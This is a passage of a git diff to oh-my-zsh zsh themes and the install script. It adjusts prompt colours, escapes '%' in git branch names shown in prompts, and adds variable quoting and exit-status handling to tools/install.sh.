hostname_color=$color_array[$(( (#HOST) % 6 + 1 ))] # choose hostname color based on first character local current_dir_color=$blue local username="%n" @@ -45,7 +44,7 @@ local current_dir="%~" local username_output="%(!..${username_color}${username}${reset}@)" local hostname_output="${hostname_color}${hostname}${reset}" local current_dir_output="${current_dir_color}${current_dir}${reset}" -local jobs_bg="${red}fg: %j$reset" +local jobs_bg="${red}jobs: %j$reset" local last_command_output="%(?.%(!.$red.$green).$yellow)" ZSH_THEME_GIT_PROMPT_PREFIX="" @@ -55,10 +54,10 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" ZSH_THEME_GIT_PROMPT_UNTRACKED="$blue%%" ZSH_THEME_GIT_PROMPT_MODIFIED="$red*" ZSH_THEME_GIT_PROMPT_ADDED="$green+" -ZSH_THEME_GIT_PROMPT_STASHED="$blue$" +ZSH_THEME_GIT_PROMPT_STASHED="${blue}\$" ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE="$green=" -ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE=">" -ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="<" +ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE="${green}>" +ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="${yellow}<" ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE="$red<>" function michelebologna_git_prompt { diff --git a/themes/mortalscumbag.zsh-theme b/themes/mortalscumbag.zsh-theme index c9994c0f9..80c2d70db 100644 --- a/themes/mortalscumbag.zsh-theme +++ b/themes/mortalscumbag.zsh-theme @@ -42,7 +42,9 @@ function my_git_prompt() { } function my_current_branch() { - echo $(git_current_branch || echo "(no branch)") + local branch + branch=$(git_current_branch || echo "(no branch)") + echo "${branch//\%/%%}" } function ssh_connection() { diff --git a/themes/oldgallois.zsh-theme b/themes/oldgallois.zsh-theme index bb97bfb17..7c77135c0 100644 --- a/themes/oldgallois.zsh-theme +++ b/themes/oldgallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" echo "$(parse_git_dirty)\ %{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}${branch}${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/peepcode.zsh-theme b/themes/peepcode.zsh-theme index 044534614..4010ef1ff 100644 --- a/themes/peepcode.zsh-theme +++ b/themes/peepcode.zsh-theme @@ -31,7 +31,7 @@ git_prompt() { local cb=$(git_current_branch) if [[ -n "$cb" ]]; then local repo_path=$(git_repo_path) - echo " %{$fg_bold[grey]%}$cb %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" + echo " %{$fg_bold[grey]%}${cb//\%/%%} %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" fi } diff --git a/themes/rkj-repos.zsh-theme b/themes/rkj-repos.zsh-theme index a9fe1a9af..6ce45c969 100644 --- a/themes/rkj-repos.zsh-theme +++ b/themes/rkj-repos.zsh-theme @@ -23,7 +23,8 @@ function mygit() { if [[ "$(git config --get oh-my-zsh.hide-status)" != "1" ]]; then ref=$(command git symbolic-ref HEAD 2> /dev/null) || \ ref=$(command git rev-parse --short HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}$ZSH_THEME_GIT_PROMPT_SUFFIX " + ref=${${ref#refs/heads/}//\%/%%} + echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}${ZSH_THEME_GIT_PROMPT_SUFFIX} " fi } diff --git a/themes/sunrise.zsh-theme b/themes/sunrise.zsh-theme index 11f6af127..86ae722fd 100644 --- a/themes/sunrise.zsh-theme +++ b/themes/sunrise.zsh-theme @@ -62,7 +62,7 @@ custom_git_prompt_status() { # get the name of the branch we are on (copied and modified from git.zsh) function custom_git_prompt() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" } # %B sets bold text diff --git a/themes/trapd00r.zsh-theme b/themes/trapd00r.zsh-theme index 260c9e701..b689ffd85 100644 --- a/themes/trapd00r.zsh-theme +++ b/themes/trapd00r.zsh-theme @@ -10,7 +10,7 @@ # scp1@shiva:pts/9-> /home » scp1 (0) # > # -# that's user@host:pts/-> splitted path (return status) +# that's user@host:pts/-> split path (return status) # # If the current directory is a git repository, we span 3 lines; # diff --git a/tools/install.sh b/tools/install.sh index d907b795c..3eae21f9b 100755 --- a/tools/install.sh +++ b/tools/install.sh @@ -51,7 +51,7 @@ USER=${USER:-$(id -u -n)} # POSIX: https://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap08.html#tag_08_03 HOME="${HOME:-$(getent passwd $USER 2>/dev/null | cut -d: -f6)}" # macOS does not have getent, but this works even if $HOME is unset -HOME="${HOME:-$(eval echo ~$USER)}" +HOME="${HOME:-$(eval echo ~"$USER")}" # Track if $ZSH was provided @@ -344,7 +344,7 @@ setup_zshrc() { return fi - if [ $OVERWRITE_CONFIRMATION != "no" ]; then + if [ "$OVERWRITE_CONFIRMATION" != "no" ]; then # Ask user for confirmation before backing up and overwriting echo "${FMT_YELLOW}Found ${zdot}/.zshrc." echo "The existing .zshrc will be backed up to .zshrc.pre-oh-my-zsh if overwritten." @@ -473,14 +473,16 @@ EOF # be prompted for the password either way, so this shouldn't cause any issues. # if user_can_sudo; then - sudo -k >/dev/null 2>&1 # -k forces the password prompt + sudo -k >/dev/null 2>&1 || true # -k forces the password prompt when supported sudo chsh -s "$zsh" "$USER" + chsh_status=$? else chsh -s "$zsh" "$USER" # run chsh normally + chsh_status=$? fi # Check if the shell change was successful - if [ $? -ne 0 ]; then + if [ "$chsh_status" -ne 0 ]; then fmt_error "chsh command unsuccessful. Change your default shell manually." else export SHELL="$zsh"